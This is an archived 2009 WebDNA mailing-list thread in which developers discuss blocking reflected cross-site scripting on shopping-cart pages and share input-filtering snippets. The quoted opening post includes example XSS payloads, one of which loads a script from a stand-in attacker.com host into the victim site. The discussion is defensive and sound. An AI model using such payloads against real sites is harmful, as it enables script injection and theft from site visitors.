Re: [WebDNA] PCI Vulnerability testing

This WebDNA talk-list message is from

2009


It keeps the original formatting.
numero = 102411
interpreted = N
texte = --Apple-Mail-8--643425419 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Thanks Matthew, So, do you place this code on every page, i.e. in a header include file? -Jeff On Apr 13, 2009, at 1:48 PM, Psi Prime, Matthew A Perosi wrote: > I use the index.html page sometimes, and the error.html page other =20 > times. > If they are hacking I prefer to just send them to a real page than =20 > a custom 404 page. It's probably a bot anyway, but if it's a real =20 > person I don't want them to have the satisfaction of knowing they =20 > are successful in any way. > > According to HackerSafe (now McAfee) the " >>>>>> >>>>>> I assume you could just do a [removehtml][cart][/removehtml] >>>>>> >>>>>> I know you can do something like that at the code level but is =20= >>>>>> there >>>>>> something that can be done at the server level or does the new =20= >>>>>> version >>>>>> cicadae have built in protections? >>>>>> >>>>>> More info on the attack >>>>>> >>>>>> >>>>>>> http://www.example.com/?var=3D"%20SRC=3D"http://=20= >>>>>>> www.attacker.com/xss.js"> >>>>>>> This will exploit the reflected cross site scripting =20 >>>>>>> vulnerability shown >>>>>>> before, executing the javascript code stored on the =20 >>>>>>> attacker's web server as >>>>>>> if it was originating from the victim web site, www.example.com. >>>>>>> A complete test will include instantiating a variable with =20 >>>>>>> several attack >>>>>>> vectors (Check Fuzz vectors appendix and Encoded injection =20 >>>>>>> appendix). >>>>>>> Finally, analyzing answers can get complex. A simple way to =20 >>>>>>> do this is to >>>>>>> use code that pops up a dialog, as in our example. This =20 >>>>>>> typically indicates >>>>>>> that an attacker could execute arbitrary JavaScript of his =20 >>>>>>> choice in the >>>>>>> visitors' browsers. >>>>>>> >>>>> --------------------------------------------------------- >>>>> This message is sent to you because you are subscribed to >>>>> the mailing list . >>>>> To unsubscribe, E-mail to: >>>>> archives: http://mail.webdna.us/list/talk@webdna.us >>>>> old archives: http://dev.webdna.us/TalkListArchive/ >>>>> . >>>>> >>>>> >>>> >> --Apple-Mail-8--643425419 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=ISO-8859-1 Thanks Matthew,

So, do you place this code on every = page, i.e. in a header include = file?

-Jeff

On Apr 13, = 2009, at 1:48 PM, Psi Prime, Matthew A Perosi wrote:

I use = the index.html page sometimes, and the error.html page other times.
= If they are hacking I prefer to just send them to a real page than a = custom 404 page.=A0 It's probably a bot anyway, but if it's a real = person I don't want them to have the satisfaction of knowing they are = successful in any way.

According to HackerSafe (now McAfee) the = <script> and <iframe> attacks are the most common.=A0 So I filter = and redirect those quickly and any other attempted hacks are = nullified.

Now that I look at this again I see that the [cart] = could probably be grepped for characters, leaving only numbers.=A0 But = the simple test of >18 works, but not perfectly... in that I sometimes = see cart files in the ShoppingCarts directory that have character = names.
Matthew A Perosi     =       JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.com=http://en.wikipedia=.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com

=
Jeffrey Jones wrote:
Hi Matthew,

Any specific = reason you redirect to the index page?

=
-Jeff

On Apr 13, 2009, at 12:35 PM, = Psi Prime, Matthew A Perosi wrote:

This = seems to work for me.
It seems to stand up to the attacks from = McAfee Secure

[formvariables]
[showif = [url][name][/url]^script>][redirect /index.html][/showif]
[showif = [url][name][/url]^iframe][redirect /index.html][/showif]
= [text][url][name][/url]=3D[input][value][/input][/text]
= [/formvariables]
[showif = [countchars][cart][/countchars]>18][redirect = /index.html][/showif]

Matthew A Perosi            JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.com=http://en.wikipedia=.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com
=

Marc Thompson wrote: 
You are correct Willian NEVER trust user input.What I always do is simply remove any characters I don't recognize using grep.  All user input is "cleaned" before taking any action on itwhatsoever.For [cart] values:[GetChars start=3D1&end=3D20][Grepsearch=3D[^0-9]&replace=3D][value][/Grep][/GetChars]For other text values:[GetChars start=3D1&end=3D100][Grep search=3D[^,-.%@_A-Za-z0-9=DC=FC=C4=E4=D6=F6]&replace=3D][value][/Grep][/GetChars=]MarcWilliam DeVaul wrote:  
I have no =idea about a server level fix.  This goes to never trustinguser input.  I thought it should always be surrounded by [raw] and[url] to prevent this.What do others do?BillOn Mon, Apr 13, 2009 at 2:08 PM, Bob Minor <bob@cybermill.com> wrote:    
What =are people doing for the following type of attacks?http://www.exampl=e.com/shoppingcart.tpl?cart=3D"<script>alert123</script>"I assume you could just do a [removehtml][cart][/removehtml]I know you can do something like that at the code level but is theresomething that can be done at the server level or does the new versioncicadae have built in protections?More info on the attack      
http://www.example.com/?var=3D=<SCRIPT%20a=3D">"%20SRC=3D"http://www.attacker.com/xss.js"></SCRIPT>This will exploit the reflected cross site scripting vulnerability shownbefore, executing the javascript code stored on the attacker's web =server asif it was originating from the victim web site, www.example.com.A complete test will include instantiating a variable with several =attackvectors (Check Fuzz vectors appendix and Encoded injection appendix).Finally, analyzing answers can get complex. A simple way to do this is =touse code that pops up a dialog, as in our example. This typically =indicatesthat an attacker could execute arbitrary JavaScript of his choice in thevisitors' browsers.        
---------------------------------------------------------This message is sent to you because you are subscribed tothe mailing list <talk@webdna.us>.To unsubscribe, E-mail to: <talk-leave@webdna.us>archives: http://mail.webdna.us/l=ist/talk@webdna.usold archives: http://dev.webdna.us/TalkLi=stArchive/.
=

=

= --Apple-Mail-8--643425419-- Associated Messages, from the most recent to the oldest:

    
  1. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  2. Re: [WebDNA] PCI Vulnerability testing (Jeffrey Jones 2009)
  3. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  4. Re: [WebDNA] PCI Vulnerability testing (William DeVaul 2009)
  5. Re: [WebDNA] PCI Vulnerability testing (Jeffrey Jones 2009)
  6. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  7. Re: [WebDNA] PCI Vulnerability testing (Govinda 2009)
  8. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  9. Re: [WebDNA] PCI Vulnerability testing (Govinda 2009)
  10. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  11. Re: [WebDNA] PCI Vulnerability testing (William DeVaul 2009)
  12. Re: [WebDNA] PCI Vulnerability testing (Govinda 2009)
  13. Re: [WebDNA] PCI Vulnerability testing (Marc Thompson 2009)
  14. Re: [WebDNA] PCI Vulnerability testing (William DeVaul 2009)
  15. [WebDNA] PCI Vulnerability testing (Bob Minor 2009)
--Apple-Mail-8--643425419 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Thanks Matthew, So, do you place this code on every page, i.e. in a header include file? -Jeff On Apr 13, 2009, at 1:48 PM, Psi Prime, Matthew A Perosi wrote: > I use the index.html page sometimes, and the error.html page other =20 > times. > If they are hacking I prefer to just send them to a real page than =20 > a custom 404 page. It's probably a bot anyway, but if it's a real =20 > person I don't want them to have the satisfaction of knowing they =20 > are successful in any way. > > According to HackerSafe (now McAfee) the " >>>>>> >>>>>> I assume you could just do a [removehtml][cart][/removehtml] >>>>>> >>>>>> I know you can do something like that at the code level but is =20= >>>>>> there >>>>>> something that can be done at the server level or does the new =20= >>>>>> version >>>>>> cicadae have built in protections? >>>>>> >>>>>> More info on the attack >>>>>> >>>>>> >>>>>>> http://www.example.com/?var=3D"%20SRC=3D"http://=20= >>>>>>> www.attacker.com/xss.js"> >>>>>>> This will exploit the reflected cross site scripting =20 >>>>>>> vulnerability shown >>>>>>> before, executing the javascript code stored on the =20 >>>>>>> attacker's web server as >>>>>>> if it was originating from the victim web site, www.example.com. >>>>>>> A complete test will include instantiating a variable with =20 >>>>>>> several attack >>>>>>> vectors (Check Fuzz vectors appendix and Encoded injection =20 >>>>>>> appendix). >>>>>>> Finally, analyzing answers can get complex. A simple way to =20 >>>>>>> do this is to >>>>>>> use code that pops up a dialog, as in our example. This =20 >>>>>>> typically indicates >>>>>>> that an attacker could execute arbitrary JavaScript of his =20 >>>>>>> choice in the >>>>>>> visitors' browsers. >>>>>>> >>>>> --------------------------------------------------------- >>>>> This message is sent to you because you are subscribed to >>>>> the mailing list . >>>>> To unsubscribe, E-mail to: >>>>> archives: http://mail.webdna.us/list/talk@webdna.us >>>>> old archives: http://dev.webdna.us/TalkListArchive/ >>>>> . >>>>> >>>>> >>>> >> --Apple-Mail-8--643425419 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=ISO-8859-1 Thanks Matthew,

So, do you place this code on every = page, i.e. in a header include = file?

-Jeff

On Apr 13, = 2009, at 1:48 PM, Psi Prime, Matthew A Perosi wrote:

I use = the index.html page sometimes, and the error.html page other times.
= If they are hacking I prefer to just send them to a real page than a = custom 404 page.=A0 It's probably a bot anyway, but if it's a real = person I don't want them to have the satisfaction of knowing they are = successful in any way.

According to HackerSafe (now McAfee) the = <script> and <iframe> attacks are the most common.=A0 So I filter = and redirect those quickly and any other attempted hacks are = nullified.

Now that I look at this again I see that the [cart] = could probably be grepped for characters, leaving only numbers.=A0 But = the simple test of >18 works, but not perfectly... in that I sometimes = see cart files in the ShoppingCarts directory that have character = names.
Matthew A Perosi     =       JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.com=http://en.wikipedia=.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com

=
Jeffrey Jones wrote:
Hi Matthew,

Any specific = reason you redirect to the index page?

=
-Jeff

On Apr 13, 2009, at 12:35 PM, = Psi Prime, Matthew A Perosi wrote:

This = seems to work for me.
It seems to stand up to the attacks from = McAfee Secure

[formvariables]
[showif = [url][name][/url]^script>][redirect /index.html][/showif]
[showif = [url][name][/url]^iframe][redirect /index.html][/showif]
= [text][url][name][/url]=3D[input][value][/input][/text]
= [/formvariables]
[showif = [countchars][cart][/countchars]>18][redirect = /index.html][/showif]

Matthew A Perosi            JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.com=http://en.wikipedia=.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com
=

Marc Thompson wrote: 
You are correct Willian NEVER trust user input.What I always do is simply remove any characters I don't recognize using grep.  All user input is "cleaned" before taking any action on itwhatsoever.For [cart] values:[GetChars start=3D1&end=3D20][Grepsearch=3D[^0-9]&replace=3D][value][/Grep][/GetChars]For other text values:[GetChars start=3D1&end=3D100][Grep search=3D[^,-.%@_A-Za-z0-9=DC=FC=C4=E4=D6=F6]&replace=3D][value][/Grep][/GetChars=]MarcWilliam DeVaul wrote:  
I have no =idea about a server level fix.  This goes to never trustinguser input.  I thought it should always be surrounded by [raw] and[url] to prevent this.What do others do?BillOn Mon, Apr 13, 2009 at 2:08 PM, Bob Minor <bob@cybermill.com> wrote:    
What =are people doing for the following type of attacks?http://www.exampl=e.com/shoppingcart.tpl?cart=3D"<script>alert123</script>"I assume you could just do a [removehtml][cart][/removehtml]I know you can do something like that at the code level but is theresomething that can be done at the server level or does the new versioncicadae have built in protections?More info on the attack      
http://www.example.com/?var=3D=<SCRIPT%20a=3D">"%20SRC=3D"http://www.attacker.com/xss.js"></SCRIPT>This will exploit the reflected cross site scripting vulnerability shownbefore, executing the javascript code stored on the attacker's web =server asif it was originating from the victim web site, www.example.com.A complete test will include instantiating a variable with several =attackvectors (Check Fuzz vectors appendix and Encoded injection appendix).Finally, analyzing answers can get complex. A simple way to do this is =touse code that pops up a dialog, as in our example. This typically =indicatesthat an attacker could execute arbitrary JavaScript of his choice in thevisitors' browsers.        
---------------------------------------------------------This message is sent to you because you are subscribed tothe mailing list <talk@webdna.us>.To unsubscribe, E-mail to: <talk-leave@webdna.us>archives: http://mail.webdna.us/l=ist/talk@webdna.usold archives: http://dev.webdna.us/TalkLi=stArchive/.
=

=

= --Apple-Mail-8--643425419-- Jeffrey Jones

DOWNLOAD WEBDNA NOW!

Top Articles:

Talk List

The WebDNA community talk-list is the best place to get some help: several hundred extremely proficient programmers with an excellent knowledge of WebDNA and an excellent spirit will deliver all the tips and tricks you can imagine...

Related Readings:

Balancing randomness (2000) TCP Connect/send and CGI (2003) Problems passing [SKU] with $Replace in 2.0 (1997) Help! WebCat2 bug (Ben's input) (1997) Q: writefile and uploads. (1998) Searchable WebCat (etc.) Docs ? (1997) Input appreciated (2000) RE: Can't get appendfile to work (1997) Help formatting search results w/ table (1997) Here we go again...WebDNA - SQL- Clustering (2006) Search syntax question (1998) [WebDNA] What version of linux (2009) Shipcost update problem (1997) European Convention (2004) [WebDNA] params_string ? (2011) Duplicates (1998) WCS Newbie question (1997) % (mod) was looping table rows (1999) Falsifying [BROWSERNAME] (1998) [ShowCart] and GET vs. POST (1997)